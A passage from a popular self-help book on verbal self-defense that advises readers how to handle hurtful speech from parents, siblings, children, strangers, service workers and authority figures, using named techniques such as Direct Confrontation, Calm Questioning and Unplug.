hurtful to you and that you would appreciate if they did not “get on your case” all the time.
Most parents react well to this approach, which needs to be repeated on a number of occasions. In essence, you
have to recondition them. Old habits and ways of talking are hard to break. So when your parents do the same
thing again and again, don't just get angry—continue to use direct confrontation. The more often you set limits
with them, the more your request will be ingrained into their minds.
The reason most parents nag you is not because they mean to hurt you. In fact, they want the best for you and
only have your interests at heart. But many parents don't know how to express this. It takes time and patience to
establish boundaries and new ground rules for any relationship. Therefore, in addition, to the Direct
Confrontation Technique, try using the Tension Blowout Technique to help you to become more non-reactive.
The Tension Blow-out Technique is when you breathe in through the mouth as you think of a tension
producing situation or a verbally abusive or toxic person. You hold the breath in for five seconds and then with
all your might, BLOW out the air as forcefully as you can while thinking of that person. Your goal is to not
allow your parents to “push your buttons,” which causes you to react in your usual manner of either harshly
lashing back or holding it in so much that you suffer.

Page 193
If after reading this section you realize that you are a verbally abusive parent, stop this behavior immediately.
Use the breathing technique you learned about earlier. Breathe in, hold it, and then speak. This technique
allows you to have more control over what you say to your child and how you say it.
This technique is merely the one you start with. Depending on what type of verbal abuser your parent is,
however (which you will learn about in the next two chapters), your parent might require additional
approaches. For example, if your parent refuses to listen, verbally abuses you, and even physically abuses you,
in such a harsh and continuous fashion, you may have no choice but to use the Unplug Technique.
Sometimes it is effective for a little while. Your total unplugging from them can be so painful for them that for
the first time they might actually hear your pain and stop contributing to it. In other cases, the scars are so deep
and the abuse is so bad that you will need to let go forever!
Defense Against Verbally Abusive Siblings
Brothers and sisters probably cause one another more emotional pain and agony than anyone else. This is the
result of the competitive element common between siblings.
Too Close for Comfort
Why are siblings so competitive? Perhaps they are living proof of the old adage that “familiarity breeds
contempt.” Each sibling thinks he or she knows the other quite well, and, consequently, they often assume that
their own values and wants are the same as their sibling's. This is the main reason brothers and sisters get on
one another's nerves. They inevitably do things differently, and one sibling might lose respect for another,
thinking the other is doing it wrong. Therefore, a fight ensues; one constantly puts the other down, creating an
uncomfortable and hostile environment.
Page 194
Your Best Bet!
Perhaps the best technique to use with your verbally toxic siblings is humor. This might take the edge off of
things and allow them to see the light. If humor doesn't work, the Love and Kindness approach can be very
effective. In this approach, you confront them directly, letting them know how much their words and actions
hurt your feelings and how much you care about them and don't want anything to come between the two of
you.
If the verbal fighting won't stop and gets so intense that it leads to blows and physical fighting, you need to
“unplug,” usually for an extended period of time. Siblings often desperately need time apart in order to
regroup. In some cases, they come to see how empty their lives are without one another, and they reunite with a
newfound mutual respect. But it can take days, months, or even years of separation for siblings to overcome the
emotional hurt and pain created by verbal and even concomitant physical abuse.
More rarely, the damage is irreparable and there is no hope. Even siblings who have applied all of the
techniques mentioned in Chapters 10 and 11, and have “unplugged” for a while might still resume their same
behavior when they come back together. For the sake of the mental (and physical) health of both parties, they
need to go their separate ways permanently.
Verbal Defense with Teens
It is not uncommon today to hear teens freely mouthing off at their parents, or at anyone else for that matter—
teachers, service workers, anyone who stands in the way of them doing whatever they want to do. When they
are restricted from doing what they want to do, they usually rebel.
In the “Talk Back!” section that follows, you will see a conversation that has occurred in most households.
What are parents to do when their teen speaks to them so abusively? The answer is simple: Don't ever allow
them to. The first time you hear your teen talking this way to you should be the last time. You need to nip it in
the bud and be consistent as a parent.
Page 195
Talk Back
Mom: Tom, I want you to clean your room. It's a mess.
Tom: I don't wanna.
Mom: Okay, then you aren't leaving this house until you do.
Tom: But I have to meet everyone at two o'clock for a ballgame.
Mom: Too bad. Until I see a clean room, you're not going anywhere.
Tom: (extremely angry): *&^$@ #&%!!!!!!
Mom: No way will you ever use that language in this home, ever! [Said using
the Give 'Em Hell and Yell Technique.]
Do you understand? Never talk to me like that. Show some respect! Do you
know how it makes me feel when you talk to me like that? [Direct Confront
Technique.]
It hurts me so deeply. I have tried my best for you in every way and I have
enough self-respect that I cannot allow you to speak this way, to me under any
circumstances! How would it make you feel if I spoke like that to you, especially
in front of your friends? How would you feel if I constantly talked trash to you
and treated you like dirt—as though you were worthless and unimportant to me?
[Calm Questioning Technique.]
I love you so much and want you to grow up to be as wonderful as you really are
inside. I asked you to straighten up your room, not to be mean or unreasonable. I
want you to live in a pleasant environment, with order and no chaos, so that you
can find things and enjoy where you live. I want you to develop good habits that
you can carry with you in college and as an adult. Please don't disappoint me and
hurt me by talking to me like that when I am trying my best to give you
everything I can as a parent. [Love and Kindness Technique, said in a soft and
loving tone.]
This dialogue illustrates the combination of verbal self-defense techniques, including Give 'Em Hell and Yell,
Direct Confrontation, Calm Questioning, and Love and Kindness. One or more of them can be used to get your
point across. Chances are that if you use these techniques, your teen will hear what you are saying. One of
these ways will be the key to unlocking communication with them. They have to know that you will not
tolerate them throwing verbal trash at you!
Trash Talkin' Teens
Just listen to some of the music teens listen to. Listen to a phone conversation or a face-to-face conversation
they are having with their friends. You'll be quite shocked—things aren't the same as when you were growing
up! In the past few years, teens have heard so many obscene words in songs and films that the words have no
effect on them at all. They speak in curses as though they are saying something as benign as “how are you
doing?” For instance, the “f” word, which we used to regard as extremely vulgar and offensive, is now used in
a number of ways. Sometimes it is used as a noun,
Page 196
for something pleasant (“Did you hear their new CD? Those f—ers were great!”) or unpleasant (“I'm gonna get
that little f—er”). Similarly, as an adjective, it can also be used either negatively (“Get your f—ing car out of
here”) or positively (“Your f—ing car is awesome”).
Whether a teenager uses the term in positive or negative way among his or her teenage peers, however, the
term is socially unacceptable to others. In fact, consistently using this term outside of their own little world can
create such a negative image that it affects their potential employment and social interaction.
The bottom line is that teenagers mustn't use this kind of talk in your home. They need to be conditioned to this
fact the very first time you hear them use obscenities. If they have already gotten in the habit of cursing and
you failed to condition them initially, you need to start doing so right away. Of course, it might take a little
longer to get the message through to them, but if you maintain your consistency, it will eventually sink in.
Expect to Hear This from Your Teen
Following is a list of common teenage concerns that parents have to learn to address effectively. Don't freak
out and get mad or flabbergasted—handle it! Be in control! You now have choices to make concerning which
verbal defense strategy you plan to employ.
I can't tell you exactly what to say, because for all I know you might say “Go ahead take the car” or “Here's
$1,000, go have a ball!” or “What kind of liquor can I get you?” If you need to contest their request, however,
your best bet is to use the Direct Confrontation, Calm Questioning, or Love and Kindness techniques.
• I want to drive.
• I want to date.
• I want to stay out late.
• I want to hang out with my friends.
• I need money.
• I need the latest style clothes.
• I need more computer stuff.
• I need stereo equipment.
• I want the right gym shoes, and I don't care about the price.
• I want to sleep over at a friend's house.
Page 197
• I don't want to study.
• I want to see that movie—I don't care about the rating.
• I got wasted (drunk).
• I like doing drugs.
• I am ugly.
• Everyone hates me.
• You're always picking on me.
• Nobody asked me out.
• Everyone I asked out said “No!”
• I hate school.
• I hate YOU!
Verbal Defense with School-Aged Kids.
Children often become obnoxious as they try to push the envelope to see how much they can get away with.
They may become verbally belligerent, speak in “street” (verbally incorrect and accented) language, or curse in
order to fit in.
Best Bet: Set Limits Immediately!
If you don't set limits at this crucial age, you might never have the chance to do so again! This bad verbal
behavior can become so ingrained in them that it will become difficult to control. The techniques used with
teenagers are also effective with school-age children. Their reasoning powers may not be as highly developed,
however, so you might want to communicate with them so that they can really “hear” you. They need to be
corrected (not in a negative way but in a positive and upbeat way), reinforced, and encouraged to repeat the
correct form of speech after you. Even if they don't repeat the word, they will still be learning the correct usage
by hearing you say it over and over; you will subconsciously ingrain positive verbal habits in them.
Parental Verbal Control
While it is good to have verbal control by repeating the correct form of the word—correct grammatical form or
pronunciation—don't overdo it!
Every child stutters or stammers while developing speech and language, so don't go nuts if your child does this.
It has long been said that “stuttering
Page 198
begins in the parent's ears.” In other words, don't make children nervous when they talk or ever tell them to
shut up or to “slow down.” Instead, let it go by and repeat correctly what they were going to say.
Sometimes in frustration, when a parent is angry, he or she tells children how stupid they are or that they are no
good. No matter how angry you get as a parent, be aware that if you say these horrible words, the consequences
of your actions will be serious. As I said earlier, “words stick.”
You are doing your child a huge disservice. In essence, you are robbing your child's self-esteem and
contributing to the destruction of her self-worth. If you are using this method as a way of controlling your
child, find another way. You are playing with fire. It can be extremely dangerous!
Best Bets: Ask Your Child If She Wants to Go Somewhere with You
Respect them. Don't drag them along! If they don't want to go, let them know that it would mean a lot to you if
they came, and that you enjoy their company. Just showing them this bit of respect changes their entire
outlook. They no longer see it as an obligation, but as being needed, wanted, and important. If they really don't
want to go, you'll save both of you a lot of grief by letting them stay at a friend's house or hiring a baby-sitter.
Often the word “baby-sitter” cures their attitude, and suddenly they want to come along!
People hunger their entire lives for the words “I'm sorry” from a parent who wronged them. A common wish
for many patients who consult with health care professionals is the following statement: “If only they (one or
both parents) would have apologized for what they did. That would have made all the difference.”
Verbal Defense with Pre-Schoolers
This section explains how to communicate with pre-babies, infants, toddlers, and young children. You learn
what to say to them and how to say it, factors that are crucial during their period of speech and language
development. You even learn how to effectively respond to their sometimes-aversive communication patterns.
Verbal Defense in Utero
I firmly believe that verbal stimulation of the fetus in the third trimester (months 7, 8, and 9) is crucial to preinfants
developing communication skills.
Page 199
The same holds true for voices. When a father speaks to an infant by placing his mouth near the mother's belly
and talking, the infant is able to recognize the father's voice as distinguished from other voices. Considering all
the new information continuing to come to light, I recommend that you play it safe and talk to the developing
person in your womb. Speak in soft, well-modulated tones. The infant might experience greater calmness as it
enters the world. Who knows? Perhaps by doing this, you are creating a calmer and less stressed person.
Verbal Defense with Infants and Toddlers.
Don't talk to your infants as though they are idiots. Their receptive skills have the potential to grow
exponentially, but this depends on how much you communicate with them and thus verbally stimulate them.
Not doing so can retard their speech and language development. That doesn't mean sounding like a rocket
scientist or teaching them quantum physics. It does mean speaking to them in complete sentences that are
appropriate to the situation.
For example, if your baby is eating, say “I'm putting your food on a spoon. Good baby. You ate all your food.
Here is some milk.” Even though babies can't answer you in complete sentences, you will be surprised at how
much they will understand. And with you and your family's constant verbal stimulation, their vocabulary and
their ability to communicate will increase. The more able they are to communicate, the more interaction they
will have with the people and the world around them. The results? A happier and less frustrated little person.
Terrible Twos Are Verbally Terrific!
Two-year-olds say “no” all the time, and this usually makes parents crazy. Despite the phrase “terrible twos,”
however, this time is not terrible when it comes to verbal development—it's a great time. Instead of getting
frustrated when they say “no,” get
Page 200
happy. For the first time, children are asserting themselves and making decisions. Encourage them with
affection and kind words. If you really want them to do something and they strongly resist, this could be the
opportune time to teach them about rejection and not getting everything they want. In calm tones, explain why
they can't do something.
Respect them! Correct them! But don't do it in harsh tones. As they become more verbal and understand more,
repeat what they said correctly. Reinforce the good and correct the bad with love and kindness as you ask them
to repeat correctly.
Talking to Children Who Act Out Verbally
Children usually act out when they are angry at something that just happened or continues to happen, harboring
emotional pain. They also act out to test the limits of what you will and will not tolerate in their behavior.
Like when communicating with teens, with children you need to set limits immediately. They have to know
right away that you are in control. Unlike teens, however, many children are too young to follow a reasoning
process. What might work best, therefore, is a combination of Direct Confrontation and Love and Kindness.
These techniques often produce guilt feelings in the child, as they begin to distinguish right from wrong and
learn what they can and cannot say to you.
Children need to learn early on in life that there is a cause and effect for everything they do or say. They will
learn that hurtful or nasty things they say can evoke negative reactions and consequences. Either they will hurt
someone's feelings or be unable to do certain things or participate in certain activities, or they will have the
chance to do certain things they enjoy and get certain things they want. Usually Calm Questioning, asking them
a series of yes and no questions, is highly effective in getting children to understand that what they said was
inappropriate and possibly hurtful.
Your Best Bet: Children of This Age Crave Respect
Young children want to know that their opinion and feedback mean something. Parents make the biggest
mistake at this stage as they pay no attention to a child's
Page 201
opinion. Even parents who regard themselves as hip and with the times often perpetuate the idea passed from
parent to child from time immemorial, that children should be seen but not heard. Many parents don't even
realize they are communicating this idea. If you are, be conscious every time you do it and stop it! Children
have to be both seen and heard if they are to have any sense of self-worth. Their opinion has to matter. Ask
them what they think about various issues, from what clothes they prefer to what they think of certain movies
or news events appropriate for the child of their age. Get their opinion. Get them involved. Respect their
opinion. Teach them that what they say matters.
Cursing Kids.
Children are great imitators. When they hear what you say and how you say it, they often parrot it back to you.
If you use ugly words and tones, make sure you don't use them around children, or chances are you will hear
them again—this time, “out of the mouths of babes.”
Many children start to learn curse words around the ages of 3½ to 4, so watch what you say in front of little
ears.
Remember the experiment where the ducklings followed a man around, thinking he was their mother? The
reason for this strange behavior was that he successfully imprinted this in their minds. The same process occurs
with children when it comes to learning words and speech. They too—both good words and bad words—are
imprinted in a child's mind. So when a child hears you tell someone to “go to hell” or to “f—off,” don't be
surprised if you hear these curses echoed back to you by a little mouth.
Kids also pick up these words from their older siblings and peers, or from TV shows or song lyrics. Best Bet:
set limits and be consistent. Let them know right away that these are bad words that make them look bad when
they say them. If you as the parent or caretaker are the cursing culprit, you need to apologize to them for your
mistake. Tell them that you were wrong for saying those bad words and that it made you look bad, just as it
makes them look bad.
Page 202
The key is to R-E-S-P-E-C-T your child and your teen. That is the best bet for parental verbal self-defense.
Page 203
Chapter 16
Verbal Warfare with Specific People in Your Life
Besides your family, there are other people in your life you wish weren't there. Unfortunately, they are there to
stay, so you have to deal with them. You have no choice.
They come across your path and enter your life unexpectedly. They appear out of nowhere. Even if you never
step out of the house, you can still run into them.
They are there when you pick up your phone or call someone to help you with something. They are there when
you buy gas, go to a restaurant, go to the grocery store, or go shopping for clothes. They are there when you
drive or when you see a physician or dentist. They are even there when you get a haircut or a manicure. They
are everywhere! You can't escape them!
Verbal Self-Defense Techniques for Various Groups
If you don't plan to stay in bed for the rest of your life with the covers drawn over your head, you will need to
learn how to deal with these verbally abusive toxins who infiltrate your life. This chapter gives you pointers
concerning what verbal defense strategies are most effective with particular people in your life.
Page 204
Invasive Strangers
One of the best ways to meet people is to spontaneously come up to a perfect stranger and start talking to her.
Likewise, if strangers are attracted to you and want to meet you, they do the same thing. That is what makes the
world go around. When you share pleasantries with a stranger, it is a wonderful feeling. It makes you smile and
feel good all over. It makes you feel important, as though you matter.
On the other hand, perfect strangers can say things to you that can make you feel not so wonderful—things that
make you unhappy, angry, or hurt. Their words make you doubt yourself and feel insecure.
As I mentioned in the scenario in the beginning of this book, who wants to wake up, walk the dog, and hear a
dead dog story or a tragic tale about someone's animal? Who wants to hear how strange they look, how
overweight they are, how weird their hair looks or anything else negative about them? People can be rude—
unknowingly or knowingly.
When you encounter verbally toxic strangers, effective techniques include directly confronting them or calmly
questioning them or mirroring back their own obnoxiousness. These techniques are best done in the form of
snappy comebacks. Some of the best snappy comebacks include saying things like, “Do I know you?” or
“Have you ever tried manners?” Be sure you use these types of comebacks only with someone who has been
equally obnoxious to you, strangers who are either unconsciously or purposely invasive. Using comebacks as
part of your verbal repertoire usually helps you feel a lot better. It prevents you from that “If I had only said…”
Syndrome, where you lie awake at 3 A.M. thinking about what you “woulda” or “shoulda” said to that obnoxious
interloper.
“Friends”
“With friends like you, who needs enemies?” Saying this to them lets them know that you are onto their ways.
It represents the Direct Confrontation Technique and opens the door for further dialogue. By making this rather
bold statement, you can see how your “friends” handle it. If they get defensive and begin to blame you, well,
you obviously know where you stand. On the other hand, if they try to explain or plead with you, they are
showing that there might have been some type of miscommunication, or they are trying to express remorse.
How do you ever forgive being betrayed? How can you ever trust someone again?
Page 205
While it is true that everyone makes mistakes, in most cases you can't ever trust a verbal betrayer again! Thus,
you have to use the Unplug Technique. To do otherwise is to take a big risk. How can you be sure that they
won't do it again? By doing and saying what they did, you perhaps have seen a glimpse of their character—a
glimpse that will protect you from seeing a more horrible sight!
Enemies
An old expression recommends that you keep your friends close, but keep your enemies even closer. The
reason is that you can always keep tabs on what your enemies are doing and what they might plan to do to you.
This doesn't mean that you have to like them, but it does mean that you have to know their whereabouts and
what they might be up to. After all, this is what happens in full-scale wars.
Intelligence officers infiltrate the enemy camp or even a neutral party to find out what's going on and tell the
other side. It works the same in verbal warfare. It is best to have a neutral party who lets your side know what
the other side is up to if you ask. So, ask!
It's obvious when two people don't like one another. This happens for a multitude of reasons, from betrayal to
fear of destruction to jealousy and so forth. It's normal and to be expected on this planet as a form of human
nature. Even though we strive to “love everyone,” to “love our neighbor,” it doesn't always work out that way.
Some of our neighbors are just plain unlovable.
To keep your enemies from totally destroying you, use the Stop the Thought Technique: Silently shout “Stop
the thought!” in your head whenever you think of the person. The Tension Blowouts help you get the people
out of your system when you are or have been in their presence.
I do not recommend directly confronting them, questioning them, or using the Give 'Em Hell and Yell
Technique. This can inflame tempers, create stronger verbal ammunition to be used, and maim or even
annihilate the opponent. It's not worth the emotional hassle. Avoid it.
I do recommend the Love and Kindness Technique with your verbal enemies, no matter how difficult it seems.
Before you tune me out or even want to throw this book at me, just read a little further. This technique helps
you to keep your enemy close by, so that you can keep tabs on him. It also takes away the constant stress and
useless energy that hating someone creates. And finally, you might be shocked to learn that repeated positive
energy and kind and loving words can often turn your worst enemy into your best friend.
There is mighty power in verbal love. Try it! You might be surprised at the results!
Customer Service Representatives.
Imagine the following scenario. You innocently call up someone from a credit card company to talk about a
problem with a bill on which you were charged twice for the
Page 206
same item. You explain your problem in a calm and collected manner, only to hear a robot on the other end of
the line. I'm not talking about the mechanical, taped message telling you which buttons to push in order to be
connected to the appropriate department. No, I'm talking about a very unhelpful, monotonous, condescending
sadist on the other end of the line. Your voice reflects your annoyance at her, to which she robotically replies,
“I'm sorry you feel that way.”
Most people can relate to this scenario. Your best alternative is to give the person on the receiving end a little
of the Give 'Em Hell and Yell Technique. Unfortunately, it's too easy for them just to hang upon you. Now you
have other options that will be effective. The best is the Calm Questioning Technique, peppered by a friendly
Love and Kindness approach, as you slowly do the Tension Blowout Technique. While using this technique to
get further up the customer service food chain, calmly and pleasantly ask to speak to a customer service
representative.
People Entrusted with Yourself or Your Property
You go to the dry cleaner and pay lots of money for your clothes to look and smell good. Upon careful
inspection of your garments the next day, you find that they neither look good (ironed improperly, with creases
on the sleeves of your jackets) or smell good (the smell of your “ironed” perspiration almost knocked you
over). You politely ask him to re-clean some of the garments. Angrily, he accuses you of ironing and creasing
the sleeves of the jackets yourself! Quite an impossible task, since you haven't held an iron in your hand since
you were forced to in your junior high school home economics class. To top it off, he accuses you of dirtying
and smelling up your own pants and jackets.
You feel like punching the man in the face. Instead, you punch the computerized cash register, hoping you
broke it! Then you run as fast as you can before he calls the police on you or before your temper gets so out of
control that you do the dry cleaner some bodily harm.
Whether you have to entrust your clothes, swimming pool, home repair, or hair to another person, serious
repercussions can result from them not performing their jobs up to par! A floor being ruined, clothes destroyed
beyond repair, and hair damaged to the point that you are embarrassed to be seen in public are not only costly
because you have to have these things redone at further expense to you, but emotionally devastating!
Some mishaps with service people are the result of you not properly explaining to them what to do. Most often,
mishaps result from them being overwhelmed by excessive business or just plain incompetence. In these cases,
you have no other choice than to Give 'Em Hell and Yell. This not only helps you to get it out of your

Page 207
system, but it gives you the satisfaction of embarrassing them in cases where there are other customers in their
establishment—they might think twice about doing further business with them.
Then you must obviously Unplug and never do business with them again. If they make you furious, whenever
you think of them do the Vicarious Fantasy Technique. Seeing their head under the steam press can give you a
little sadistic chuckle and release a lot of your own steam.
If the mishap is your fault because you didn't explain it right, admit it. Be a mensch. You know what that
means! You learned it in Chapter 9 in the section on “Bingo! You Got the Lingo!” In case you forgot, it means
a decent person.
To help prevent this misunderstanding from happening again, speak slowly, have them repeat the instructions,
and, if appropriate, write them down!
Salespeople, Store Clerks, and Realtors
Whether they are selling a car, house, suit, or apple, nobody has the right to be rude and obnoxious to you, just
as you have no right to be rude and obnoxious to them.
We have all encountered unexpected hell from someone who ended up putting us in a horrible mood, even
though we started out being excited. If we were kids, we would literally be jumping up and down to show how
thrilled we were and that we couldn't contain ourselves because we were getting a bigger and better house, the
car we always wanted, or a new designer outfit.
Then all of a sudden, our smiles turned into frowns as the happiness and eager anticipation was sucked out of
our veins by this evil sales vampire. He was cold, abrupt, curt, nasty, rude, condescending, acted as though he
was doing us a favor just by waiting on us, gave us attitude, and took his sweet time, making us wait until
things were convenient for him.
Why Did They Do It?
Many sales vampires don't mean to suck out your happiness and enthusiasm. They just can't help themselves.
As a result, they make your life miserable, and theirs as well. Ironically, they aren't accomplishing what they
are there to do in the first place—make a sale and earn some money so that they, too, can have the opportunity
to have the things you are buying from them.
Page 208
There are many reasons why a salesperson might be rude to you, although there is still no excuse for their
behavior. Perhaps seeing it from their point of view might give you a little more empathy and compassion
towards them. Maybe their previous customer was rude to them, maybe they don't like their boss, or maybe
they are exhausted after a long day.
Whatever the reason for a salesperson's rudeness, try killing them with kindness. You might just be the one to
turn their entire day, and their mood or attitude around.
What Else You Can Do!
Sometimes no compassion and understanding in the world will change the attitude of a salesperson, or douse
the fire burning inside of you as you experience the wrath of the salesperson from the world below. You don't
care what the reason is. It's not your problem. You came there for a reason—to purchase something—and you
weren't helped.
All you know is that you are mad as hell and you are not gonna take it anymore. Who can blame you? You
need to express your disdain. But do it in a way that is both fire-and anger-releasing and productive, so that you
can get the result you want.
The best of all worlds is to Unplug and get a new salesperson. Let them know you don't want to deal with them,
using whatever strategy strikes your fancy at the time. If you choose, Give 'Em Hell and Yell. If you want to be
more civil, directly confront. In any case, the message is clear—you won't take it and you are “outta there.”
“Outta there” means either going to a new place to do business or going to a new sales representative to do
business.
People Who Serve You
It's time to eat, so you go into an impressive restaurant with two important clients who finally arrived in town.
You need desperately to impress them because a lot is riding on this deal. If they like and trust you, you are in!
You are ready to order when you notice the waiter from hell standing directly in front of you. This verbally
hostile creature with a huge frown, lifeless eyes, and a lifeless voice asks for your order in the tone of voice that
says “You disgust me and I'm doing you a favor to even talk to you.” You and your colleagues take a little
extra time, as you can't decide between the chicken or the lamb dishes. The waiter looks at all three of you like
you are suffering from a rare infectious disease. When you all finally make up your minds, the waiter snatches
the menus away from you. The others give you a quizzical look and you give a sheepish smile. You don't want
to make any waves. You want to ignore this unpleasant moment—too much good is about to happen.
Finally, your food comes. The vegetables are undercooked and the lamb is raw. When you notice that one of
your guests is having difficulty cutting into the rubbery chicken, you politely summon the waiter and tell him
what the problem is. Treating you as though you have committed a felony, he blames you for choosing that
particular dish: “That's the way it comes, and I can't do anything about it.” By now you are
Page 209
ready to take the plate and shove it in his face, but you don't dare because of your important clients. They insist
that everything is fine, that their meal is fine.
Even though you feel nauseous, you smile weakly and pretend nothing happened. Your clients like you, and so
you ultimately get the account—but not without the expense of a severe migraine, neck and shoulder pain, and
diarrhea.
There is nothing more upsetting than a rude serviceperson who causes you stress and frustration when all you
want to do is have a good time, close a business deal, make a good impression, or woo someone in whom you
are interested. You get so mad you are ready to spit nails. But often, as in the preceding scenario, you can't do
anything about it because you are with a person who is very significant or important to you. You can't yell or
even say anything, for fear your companion will think you are pushy or overly aggressive. Thus, you keep it in
and simmer.
There's No Excuse!
The restaurant scenario is maddening. How dare someone treat you with less than respect when you have come
into their establishment to relax, be entertained or to entertain someone, eat well, or just to be among people?
There really is no good reason why a person in a business that is supposed to help you ends up hindering you!
The main reasons they act this way have to do with jealousy, insecurity, or feelings of superiority. In reality, of
course, they reflect their inner inferiority through their toxic verbiage. Perhaps they “cop an attitude” because
they hate what they are doing. They might feel that the job is beneath them or that they are just biding time
until the work day is over. They want their paycheck and they want to go home immediately! Many are envious
of their customers and patrons because they want to be in their shoes, with someone waiting on or serving
them.
Here is a list of seven types of verbally toxic service people you have most likely encountered:
1. The Fighting Rudee: These are people with a hostile attitude who usually instigate a confrontation with the
patron. They have a chip on their shoulder and have no idea what the saying “the customer is always right”
means. They only know what “always looking for a fight” means.
2. The Prejudiced One: These ignorant and backward people have a preconceived notion about a certain sex or
ethnic group and treat all members of that group with hostility and disdain. They are abrupt, unhelpful, and
uncooperative.

Page 210
3. Abruptees: They are curt and will either interrupt you or not let you speak in the first place. They are
impatient and can't seem to get you to leave fast enough.
4. Sourpusses: They are so upset about where they are—their plight in life or their present situation—that they
can't help but wear their expression on their face. They have a squinched and bitten facial appearance with a
perpetual look of disgust, anger, and frustration. Their faces tell you that they don't like what they are doing,
they don't like you, and they don't want to be there. Because their energy is so toxic and they are so hard to be
around, you don't want them there either.
5. Power for the Hour: these are people who act as though they are better than you by taking the power they
have (such as letting you into a club or seating you at a restaurant) and throwing it around. These people are
obviously insecure and have to push others around to feel important. Such people are more to be pitied and
laughed at than to be angry at.
6. Robots: These unhelpful, monotonous, droning repeaters of the company's doctrine live in great fear. They
are afraid to think for themselves and to say what is really on their minds. There is no getting through to them,
because they are set in their ways. They are condescending, will never see your point of view, and will always
minimize what you say, unless it happens to fit into their programmed script.
7. Extreme Incompetents: These types always screw up! They'll end up costing you money because of their
frequent mistakes. They are the type that forgets a charge off your bill or always does the opposite of whatever
you tell them.
When You Can't Afford to Make a Scene
You don't ever need to let your blood boil again! Suppose you happen to be in a situation similar to the one
presented earlier, where it is difficult for you to speak your mind because of the company you were trying to
impress. In such a situation, breathe, breathe, breathe! In this case, as in most cases, the Tension Blowout
Technique is a lifesaver—no question about it!
The “Stop the Thought!” Technique is also effective. Use it so that you never have to go back there, even in
your mind! You'll get the verbal toxins out of your system for good.
When You Can Afford to Make a Scene
The Direct Confront Technique is usually the most effective way to deal with verbally toxic servers. You need
to immediately bust them on what they are doing and what they are saying to you.

Page 211
Another excellent choice is the Mirroring Technique, in which you have to talk to them exactly as they are
talking to you. Use the same tone and similar words. This usually shocks them into place. They see that you are
on to them and so they usually will turn their behavior right around. You can also use the Calm Questioning
Technique, where you calmly ask them why they are treating you so rudely. You might also ask them if they
are having a bad day. They might admit they are, and immediately apologize and change their actions, tone of
voice, and what they say to you.
If these three techniques don't work, don't ignore them—Unplug them! You don't have to sit at a table where
you are being treated poorly. You don't have to patronize an establishment where you are not being
accommodated. You can leave a restaurant immediately! You do not have to take it! You do not have to be
punished. You pay—they play! There is often someone above the unhelpful person and someone above that
person and someone above that person who can help you solve your problem and address your concerns. Seek
them out. You'll not only save your own esteem, but you'll prevent others from experiencing the nastiness you
just went through.
Even after you have unplugged and sought and perhaps even received justice, you might still be steaming over
how they spoke to you and what they said. To release built-up tension, I suggest you use the Vicarious Fantasy
Technique; fantasize what you would love to do to them or what you would love to see happen to them. Once
again, I repeat for the umpteenth time, fantasize—you don't actually want to do bodily harm to another person.
People Who Don't Speak Your Language
These days it is pretty common to meet someone who does not speak English at all, or at least very well. It is
important when trying to communicate with someone in this situation, that whatever you do, don't yell at them!
They aren't deaf! Don't get upset with them! Instead, be patient. Think of what it would be like if you were in
their shoes. Show a little compassion. Speak softly and take some time. Gesture or make signs to get points
across; point, draw, write. You will eventually be able to communicate.
If you are speaking with someone who has an accent that you don't understand, ask them to speak slowly and
don't be afraid to ask them to repeat. Only do it in pleasant manner, not angrily or impatiently. Also try to listen
to others speaking English in a similar accent in order to familiarize yourself with sounds and tonal qualities
indigenous to the accent.
Page 212
For example, some people from Japan confuse their l and r (“led” for “red”) sounds, and some Swedes do not
say z sound (“pleass” for “pleaz”). Some Latinos say ee for ih sounds (“sheep” for “ship”), and some Russians
say d sounds for th sounds (“dis” for “this”). Chinese people who speak Cantonese sometimes sound as though
they are angry at you and yelling at you when speaking English to you. They are not: this is just the way they
adapt the tonal qualities in their language to our language.
You can see how easy it is to get the wrong message conveyed. The sounds and tones people use in their native
language might represent something entirely different in our language.
Professionals and Authority Figures.
Unfortunately, some abusers might literally “hold your life in their hands”—an employer, doctor, attorney,
police officer, or teacher.
Just because they have a long list of degrees or hold the reins to your financial status does not give them the
right to speak to you in a condescending or hostile way. Like the service person, these professionals exist to
guide and assist you, to take care of you, not to verbally assault you.
But sadly, they do assault you too many times.
You can use numerous verbal self-defense techniques with such abusers. But note, the more harsh and severe
the techniques you choose, the more likely it is you will alienate these people in power. The good news is that
you will feel a lot better. You will have defended yourself and stuck up for your rights, protecting your dignity.
The bad news is that you might have gotten into more trouble than you bargained for—getting arrested, being
kicked out of places, or being fired.
Verbally Toxic Employers
Sometimes you have the good fortune to have an employer or teacher who is a gem. They are supportive,
caring, understanding, open, and respectful. They value your opinion and what you have to say. They reward
you for your efforts in praise or in a raise. They are appreciative of your efforts and consistently let you know
how much they value your work.
But more often than not, there are the Toxic Employers who are here to make your life miserable. Your
employer
Page 213
might be a bully, a wimp, a mental case, a liar, a silent-but-deadly erupting volcano—any of the 30 types of
“toxic terrors” mentioned in my book Toxic People—10 Ways to Handle People Who Make Your Life
Miserable. The verbal strategy you use to defend yourself depends largely upon what type of verbal terrorist
they are and how much you want or need your present job. Milder strategies work better if you need your job.
If you don't really care, go for it—Give 'Em Hell and Yell, Confront, and loudly Unplug.
Verbal Medical and Dental Disasters
You decide that it's about time to go to the dentist. You have finally gotten up enough nerve to tolerate the
shots you know your gums will be receiving. You make that call, and a rude-sounding person abruptly tells you
the fee, saying that they don't take dental insurance and that you have to arrive exactly on time or the doctor
won't see you. To top it off, she massacres your name as she asks you to spell it three times and still
pronounces it wrong. If you didn't need to have that root canal, you'd have hung up on her long ago.
You show up at the scheduled appointment, and the hostile and rude assistant gives you an attitude. You tell
her to cool it—reminding her that you're a well-paying customer about to pay a significant amount of money.
She goes into the dentist's office, probably to fill him in on how difficult you are being. You're already scared
and nervous, and now you are in front of the dentist. He speaks abruptly and has a cold tone. You know that
this is not his normal tone as you heard him talking on the phone a few moments earlier, where he was warm
and animated. You're scared of him. He sounds mean! He doesn't like you, but it's too late—his fingers are
already in your mouth.
Many times you have to hold back your tongue, because these people can make your life completely miserable
if you don't. For example, giving a police officer hell and yelling might land you in jail. Mirroring a bullying
boss or teacher (giving them a taste of their own verbal medicine) can get you fired or kicked out of class. Even
if your questioning is cool and calm, many verbally toxic physicians and attorneys might misconstrue your
questions as a form of interrogation. This automatically places them on the defensive, and more often than not,
they verbally attack back! Professionalism and Hippocratic Oaths aside, they are still human, and if they don't
like you, there is a chance this will be reflected in their work.
If you don't really care whether you lose your job, have to get a new physician or attorney, get kicked out of
class, or get thrown in jail, you can use a more aggressive approach like Give 'Em Hell and Yell, Mirroring,
Questioning, or Unplugging—getting these people out of your life!
Page 214
On the other hand, if you choose to keep your job or your status in a company, not land yourself in jail, and not
